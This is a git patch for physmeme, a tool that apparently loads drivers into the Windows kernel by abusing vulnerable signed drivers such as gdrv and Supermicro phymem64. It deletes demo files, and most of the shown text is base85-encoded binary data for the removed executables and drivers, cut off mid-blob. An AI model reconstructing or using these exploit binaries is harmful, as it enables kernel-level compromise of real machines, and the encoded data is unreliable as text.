From cef765b7af3d0c75fc78b95a7d06fd3319f5802c Mon Sep 17 00:00:00 2001 From: xerox Date: Wed, 16 Sep 2020 14:13:08 -0700 Subject: [PATCH] cleaned the code a little --- demo/gdrv/README.md | 6 -- demo/gdrv/hello-world.sys | Bin 6272 -> 0 bytes demo/gdrv/physmeme.exe | Bin 169472 -> 0 bytes demo/gdrv/physmeme.hpp | 92 ----------------------------- demo/supermicro/README.md | 15 ----- demo/supermicro/hello-world.sys | Bin 6272 -> 0 bytes demo/supermicro/phymem64.sys | Bin 19240 -> 0 bytes demo/supermicro/physmeme.exe | Bin 169472 -> 0 bytes demo/supermicro/physmeme.hpp | 69 ---------------------- demo/supermicro/pmdll64.dll | Bin 117760 -> 0 bytes physmeme-lib/map_driver.cpp | 32 ++++------ physmeme-lib/map_driver.hpp | 5 +- physmeme-lib/raw_driver.hpp | 3 +- physmeme/kernel_ctx/kernel_ctx.cpp | 17 ++---- physmeme/kernel_ctx/kernel_ctx.h | 42 ++++++------- physmeme/main.cpp | 24 +++++--- physmeme/physmeme/physmeme.hpp | 2 +- physmeme/raw_driver.hpp | 3 +- physmeme/util/hook.hpp | 45 ++------------ physmeme/util/util.hpp | 6 +- 20 files changed, 67 insertions(+), 294 deletions(-) delete mode 100644 demo/gdrv/README.md delete mode 100644 demo/gdrv/hello-world.sys delete mode 100644 demo/gdrv/physmeme.exe delete mode 100644 demo/gdrv/physmeme.hpp delete mode 100644 demo/supermicro/README.md delete mode 100644 demo/supermicro/hello-world.sys delete mode 100644 demo/supermicro/phymem64.sys delete mode 100644 demo/supermicro/physmeme.exe delete mode 100644 demo/supermicro/physmeme.hpp delete mode 100644 demo/supermicro/pmdll64.dll diff --git a/demo/gdrv/README.md b/demo/gdrv/README.md deleted file mode 100644 index 3d68e2b..0000000 --- a/demo/gdrv/README.md +++ /dev/null @@ -1,6 +0,0 @@ - - -### gdrv - -This driver has been exploited before by many people. This is just an example of using it with physmeme. If you want to use this driver with physmeme, simply replace `physmeme.hpp` -with this one. :) \ No newline at end of file diff --git a/demo/gdrv/hello-world.sys b/demo/gdrv/hello-world.sys deleted file mode 100644 index 7f2301f7e9e730af66ed0935ce4edb0ce04850fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6272 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 diff --git a/demo/gdrv/physmeme.exe b/demo/gdrv/physmeme.exe deleted file mode 100644 index f5d4e52bb6b536a4868282ff429ae75c1f284eaf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 169472 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 